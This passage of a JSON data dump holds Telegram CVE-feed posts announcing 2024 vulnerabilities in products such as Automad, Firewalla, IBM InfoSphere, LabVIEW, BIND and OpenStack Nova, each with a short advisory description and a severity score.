"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40111", "type": "seen", "source": "https://t.me/cvedetector/4043", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40111 - Automad XSS Stored Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40111 \nPublished : Aug. 23, 2024, 9:15 p.m. | 25\u00a0minutes ago \nDescription : A persistent (stored) cross-site scripting (XSS) vulnerability has been identified in Automad 2.0.0-alpha.4. This vulnerability enables an attacker to inject malicious JavaScript code into the template body. The injected code is stored within the flat file CMS and is executed in the browser of any user visiting the forum. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-23T23:49:30.000000Z"}, {"uuid": "57b0e86e-029c-41f6-b6e9-3acd214a8763", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40697", "type": "seen", "source": "https://t.me/cvedetector/2997", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40697 - IBM Common Licensing Weak Password Enforcement\", \n  \"Content\": \"CVE ID : CVE-2024-40697 \nPublished : Aug. 13, 2024, 11:15 a.m. | 26\u00a0minutes ago \nDescription : IBM Common Licensing 9.0 does not require that users should have strong passwords by default, which makes it easier for attackers to compromise user accounts.  IBM X-Force ID:  297895. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-13T13:45:59.000000Z"}, {"uuid": "c45fe3ac-dd6b-4f58-8055-87b0065ae160", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40892", "type": "seen", "source": "https://t.me/cvedetector/2888", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40892 - Firewalla Box Bl.ForeColor Blow-Over SSH Weak Credential Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40892 \nPublished : Aug. 12, 2024, 7:15 p.m. | 35\u00a0minutes ago \nDescription : A weak credential vulnerability exists in Firewalla Box Software versions before 1.979. This vulnerability allows a physically close attacker to use the license UUID for authentication and provision SSH credentials over the Bluetooth Low-Energy (BTLE) interface. Once an attacker gains access to the LAN, they could log into the SSH interface using the provisioned credentials. The license UUID can be acquired through plain-text Bluetooth sniffing, reading the QR code on the bottom of the device, or brute-forcing the UUID (though this is less likely). \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-12T21:51:14.000000Z"}, {"uuid": "7692ffb5-70d8-4e21-9c27-b78df80e714a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40893", "type": "seen", "source": "https://t.me/cvedetector/2887", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40893 - Firewalla Box Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40893 \nPublished : Aug. 12, 2024, 7:15 p.m. | 35\u00a0minutes ago \nDescription : Multiple authenticated operating system (OS) command injection vulnerabilities exist in Firewalla Box Software   \nversions before 1.979. A physically close   \nattacker that is authenticated to the Bluetooth Low-Energy (BTLE) interface can use the network configuration service to inject commands in various configuration parameters including\u00a0networkConfig.Interface.Phy.Eth0.Extra.PingTestIP,\u00a0networkConfig.Interface.Phy.Eth0.Extra.DNSTestDomain, and\u00a0networkConfig.Interface.Phy.Eth0.Gateway6. Additionally, because the configuration can be synced to the Firewalla cloud, the attacker may be able to persist access even after hardware resets and firmware re-flashes. \nSeverity: 6.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-12T21:51:12.000000Z"}, {"uuid": "1e2546c2-a39f-4be2-8903-44490327aaa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40500", "type": "seen", "source": "https://t.me/cvedetector/2877", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40500 - Martin Kucej i-librarian Cross Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-40500 \nPublished : Aug. 12, 2024, 5:15 p.m. | 43\u00a0minutes ago \nDescription : Cross Site Scripting vulnerability in Martin Kucej i-librarian v.5.11.0 and before allows a local attacker to execute arbitrary code via the search function in the import component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-12T20:10:36.000000Z"}, {"uuid": "0f2c4830-8aa1-4ed0-8e6d-c6a88f7e9680", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40116", "type": "seen", "source": "https://t.me/cvedetector/1718", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40116 - Solar-Log Plain Password Storage Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40116 \nPublished : July 26, 2024, 8:15 p.m. | 44\u00a0minutes ago \nDescription : An issue in Solar-Log 1000 before v2.8.2 and build 52-23.04.2013 was discovered to store plaintext passwords in the export.html, email.html, and sms.html files. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-26T23:03:26.000000Z"}, {"uuid": "c48e4891-320e-46b3-bc2a-2089c3103ee4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40324", "type": "seen", "source": "https://t.me/cvedetector/1643", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40324 - E-Staff CRLF Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40324 \nPublished : July 25, 2024, 8:15 p.m. | 28\u00a0minutes ago \nDescription : A CRLF injection vulnerability in E-Staff v5.1 allows attackers to insert Carriage Return (CR) and Line Feed (LF) characters into input fields, leading to HTTP response splitting and header manipulation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-25T22:46:14.000000Z"}, {"uuid": "cd81cc8a-c63c-4399-b853-b80a4509d917", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40318", "type": "seen", "source": "https://t.me/cvedetector/1641", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40318 - Webkul Qloapps Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-40318 \nPublished : July 25, 2024, 7:15 p.m. | 38\u00a0minutes ago \nDescription : An arbitrary file upload vulnerability in Webkul Qloapps v1.6.0.0 allows attackers to execute arbitrary code via uploading a crafted file. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-25T21:56:03.000000Z"}, {"uuid": "47fd892d-f6d9-4e83-b6d2-43533017819e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40101", "type": "seen", "source": "https://t.me/cvedetector/2591", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40101 - Microweber Reflected Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40101 \nPublished : Aug. 6, 2024, 2:16 p.m. | 17\u00a0minutes ago \nDescription : A Reflected Cross-site scripting (XSS) vulnerability exists in '/search' in microweber 2.0.15 and earlier allowing unauthenticated remote attackers to inject arbitrary web script or HTML via the 'keywords' parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T16:41:37.000000Z"}, {"uuid": "b00832e8-f997-45f4-8f5d-ef6fb493b0d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40689", "type": "seen", "source": "https://t.me/cvedetector/1688", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40689 - IBM InfoSphere Information Server SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40689 \nPublished : July 26, 2024, 2:15 p.m. | 35\u00a0minutes ago \nDescription : IBM InfoSphere Information Server 11.7 is vulnerable to SQL injection. A remote attacker could send specially crafted SQL statements, which could allow the attacker to view, add, modify, or delete information in the back-end database.  IBM X-Force ID:  297719. \nSeverity: 6.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-26T17:11:52.000000Z"}, {"uuid": "d1a2a77c-77a3-4172-9753-cc9607cff65e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40117", "type": "seen", "source": "https://t.me/cvedetector/1714", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40117 - Solar-Log Administrative Privilege Escalation erm\u00f6gelt \u00fcber unsichere Zugriffskontrolle\", \n  \"Content\": \"CVE ID : CVE-2024-40117 \nPublished : July 26, 2024, 8:15 p.m. | 44\u00a0minutes ago \nDescription : Incorrect access control in Solar-Log 1000 before v2.8.2 and build 52- 23.04.2013 allows attackers to obtain Administrative privileges via connecting to the web administration server. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-26T23:03:19.000000Z"}, {"uuid": "ccdea4d0-1e0a-4c96-8b34-8ce2acadcac0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40628", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/6892", "content": "\u200aCVE-2024-40628 & CVE-2024-40629: Two Maximum Severity Flaws in JumpServer\n\nhttps://securityonline.info/cve-2024-40628-cve-2024-40629-two-maximum-severity-flaws-in-jumpserver/", "creation_timestamp": "2024-07-22T10:18:14.000000Z"}, {"uuid": "0df402ce-7a70-445c-b4b8-e3e5732b2fa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40897", "type": "seen", "source": "https://t.me/cvedetector/1670", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40897 - ORC Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40897 \nPublished : July 26, 2024, 6:15 a.m. | 27\u00a0minutes ago \nDescription : Stack-based buffer overflow vulnerability exists in orcparse.c of ORC versions prior to 0.4.39. If a developer is tricked to process a specially crafted file with the affected ORC compiler, an arbitrary code may be executed on the developer's build environment. This may lead to compromise of developer machines or CI build environments. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-26T08:48:31.000000Z"}, {"uuid": "0d06a8d4-46a9-4da5-b5d5-f9924225ec02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40873", "type": "seen", "source": "https://t.me/cvedetector/1639", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40873 - \"Absolute Secure Access Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-40873 \nPublished : July 25, 2024, 6:15 p.m. | 37\u00a0minutes ago \nDescription : There is a cross-site scripting vulnerability in the Secure  \nAccess administrative console of Absolute Secure Access prior to version 13.07.  \nAttackers with system administrator permissions can interfere with another  \nsystem administrator\u2019s use of the publishing UI when the administrators are  \nediting the same management object. The scope is unchanged, there is no loss of  \nconfidentiality. Impact to system availability is none, impact to system  \nintegrity is high. \nSeverity: 4.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-25T21:05:53.000000Z"}, {"uuid": "a6d1b24e-426b-4eca-8b45-52a35bc421e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40872", "type": "seen", "source": "https://t.me/cvedetector/1636", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40872 - \"Absolute Secure Access Local Privilege Elevation Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-40872 \nPublished : July 25, 2024, 5:15 p.m. | 56\u00a0minutes ago \nDescription : There is an elevation of privilege vulnerability in server  \nand client components of Absolute Secure Access prior to version 13.07.  \nAttackers with local access and valid desktop user credentials can elevate  \ntheir privilege to system level by passing invalid address data to the vulnerable  \ncomponent. This could be used to  \nmanipulate process tokens to elevate the privilege of a normal process to  \nSystem. The scope is changed, the impact to system confidentiality and  \nintegrity is high, the impact to the availability of the effected component is  \nnone. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-25T20:15:44.000000Z"}, {"uuid": "b4692d8e-8134-4e33-abf1-c905e69190a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40495", "type": "seen", "source": "https://t.me/cvedetector/1590", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40495 - Linksys Router E2500 Remote Code Execution vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40495 \nPublished : July 24, 2024, 7:15 p.m. | 18\u00a0minutes ago \nDescription : A vulnerability was discovered in Linksys Router E2500 with firmware 2.0.00, allows authenticated attackers to execute arbitrary code via the hnd_parentalctrl_unblock function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-24T21:40:06.000000Z"}, {"uuid": "ec5d5d2f-9540-4a62-b480-60359b1b4b6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40137", "type": "seen", "source": "https://t.me/cvedetector/1587", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40137 - Dolibarr ERP CRM RCE via Computed Field\", \n  \"Content\": \"CVE ID : CVE-2024-40137 \nPublished : July 24, 2024, 7:15 p.m. | 18\u00a0minutes ago \nDescription : Dolibarr ERP CRM before 19.0.2-php8.2 was discovered to contain a remote code execution (RCE) vulnerability via the Computed field parameter under the Users Module Setup function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-24T21:40:02.000000Z"}, {"uuid": "8a9f08c3-7677-47cb-872e-b3b02b46fa93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40422", "type": "seen", "source": "https://t.me/cvedetector/1572", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40422 - Stitianai Devika Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40422 \nPublished : July 24, 2024, 4:15 p.m. | 35\u00a0minutes ago \nDescription : The snapshot_path parameter in the /api/get-browser-snapshot endpoint in stitionai devika v1 is susceptible to a path traversal attack. An attacker can manipulate the snapshot_path parameter to traverse directories and access sensitive files on the server. This can potentially lead to unauthorized access to critical system files and compromise the confidentiality and integrity of the system. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-24T19:09:30.000000Z"}, {"uuid": "8d100189-9cd4-416e-b149-52395744c884", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40575", "type": "seen", "source": "https://t.me/cvedetector/1571", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40575 - Huawei opengauss SQL Injection Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-40575 \nPublished : July 24, 2024, 4:15 p.m. | 35\u00a0minutes ago \nDescription : An issue in Huawei Technologies opengauss (openGauss 5.0.0 build) v.7.3.0 allows a local attacker to cause a denial of service via the modification of table attributes \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-24T19:09:29.000000Z"}, {"uuid": "7ec4451a-dcc1-409f-81df-486fb996df93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40767", "type": "seen", "source": "https://t.me/cvedetector/1540", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40767 - OpenStack Nova Unauthorized File Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40767 \nPublished : July 24, 2024, 5:15 a.m. | 46\u00a0minutes ago \nDescription : In OpenStack Nova before 27.4.1, 28 before 28.2.1, and 29 before 29.1.1, by supplying a raw format image that is actually a crafted QCOW2 image with a backing file path or VMDK flat image with a descriptor file path, an authenticated user may convince systems to return a copy of the referenced file's contents from the server, resulting in unauthorized access to potentially sensitive data. All Nova deployments are affected. NOTE: this issue exists because of an incomplete fix for CVE-2022-47951 and CVE-2024-32498. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-24T08:17:20.000000Z"}, {"uuid": "f07a1f11-2ce7-47d2-a69c-0cf7405beed8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40060", "type": "seen", "source": "https://t.me/cvedetector/1512", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40060 - Go-Chart Infinite Loop Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40060 \nPublished : July 23, 2024, 3:15 p.m. | 36\u00a0minutes ago \nDescription : go-chart v2.1.1 was discovered to contain an infinite loop via the drawCanvas() function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-23T18:04:28.000000Z"}, {"uuid": "54a47f1e-6d02-4bfa-8079-37e9350bced1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4076", "type": "seen", "source": "https://t.me/cvedetector/1509", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-4076 - BIND Assertion Failure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-4076 \nPublished : July 23, 2024, 3:15 p.m. | 36\u00a0minutes ago \nDescription : Client queries that trigger serving stale data and that also require lookups in local authoritative zone data may result in an assertion failure.  \nThis issue affects BIND 9 versions 9.16.13 through 9.16.50, 9.18.0 through 9.18.27, 9.19.0 through 9.19.24, 9.11.33-S1 through 9.11.37-S1, 9.16.13-S1 through 9.16.50-S1, and 9.18.11-S1 through 9.18.27-S1. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-23T18:04:25.000000Z"}, {"uuid": "6aaa7258-57a7-4a62-b5a1-22e77aff3e85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4080", "type": "seen", "source": "https://t.me/cvedetector/1507", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-4080 - LabVIEW tdcore.dll Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-4080 \nPublished : July 23, 2024, 2:15 p.m. | 43\u00a0minutes ago \nDescription : A memory corruption issue due to an improper length check in LabVIEW tdcore.dll may disclose information or result in arbitrary code execution.  Successful exploitation requires an attacker to provide a user with a specially crafted VI.  This vulnerability affects LabVIEW 2024 Q1 and prior versions. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-23T17:14:16.000000Z"}, {"uuid": "59516f2f-d18c-486e-a2a1-96ff25207038", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4081", "type": "seen", "source": "https://t.me/cvedetector/1506", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-4081 - NI LabVIEW Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-4081 \nPublished : July 23, 2024, 2:15 p.m. | 43\u00a0minutes ago \nDescription : A memory corruption issue due to an improper length check in NI LabVIEW may disclose information or result in arbitrary code execution. Successful exploitation requires an attacker to provide a user with a specially crafted VI. This vulnerability affects NI LabVIEW 2024 Q1 and prior versions. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-23T17:14:15.000000Z"}, {"uuid": "b3a0d9d2-cc38-46e7-9b19-2ca826814ac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4079", "type": "seen", "source": "https://t.me/cvedetector/1505", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-4079 - LabVIEW Out-of-Bounds Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-4079 \nPublished : July 23, 2024, 2:15 p.m. | 43\u00a0minutes ago \nDescription : An out of bounds read due to a missing bounds check in LabVIEW may disclose information or result in arbitrary code execution.  Successful exploitation requires an attacker to provide a user with a specially crafted VI.  This vulnerability affects LabVIEW 2024 Q1 and prior versions. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-23T17:14:14.000000Z"}, {"uuid": "f9064f2e-8f13-4938-9750-da8f532c26ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40883", "type": "seen", "source": "https://t.me/cvedetector/2199", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40883 - ELECOM Wireless LAN Routers Cross-Site Request Forgery (CSRF) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40883 \nPublished : Aug. 1, 2024, 2:15 a.m. | 43\u00a0minutes ago \nDescription : Cross-site request forgery vulnerability exists in ELECOM wireless LAN routers. Viewing a malicious page while logging in to the affected product with an administrative privilege, the user may be directed to perform unintended operations such as changing the login ID, login password, etc. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-01T05:23:19.000000Z"}, {"uuid": "bfe7a20f-9c19-49f9-a2f4-5d32cce2f0cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40502", "type": "seen", "source": "https://t.me/cvedetector/1486", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40502 - Hospital Management System Project in ASP.Net MVC SQL Injection Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-40502 \nPublished : July 22, 2024, 9:15 p.m. | 25\u00a0minutes ago \nDescription : SQL injection vulnerability in Hospital Management System Project in ASP.Net MVC 1 allows aremote attacker to execute arbitrary code via the btn_login_b_Click function of the Loginpage.aspx \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-22T23:41:09.000000Z"}, {"uuid": "9df84ead-31b8-425f-9485-9d828a556085", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40075", "type": "seen", "source": "https://t.me/cvedetector/1472", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40075 - \"Laravel XXE Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-40075 \nPublished : July 22, 2024, 7:15 p.m. | 37\u00a0minutes ago \nDescription : Laravel v11.x was discovered to contain an XML External Entity (XXE) vulnerability. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": 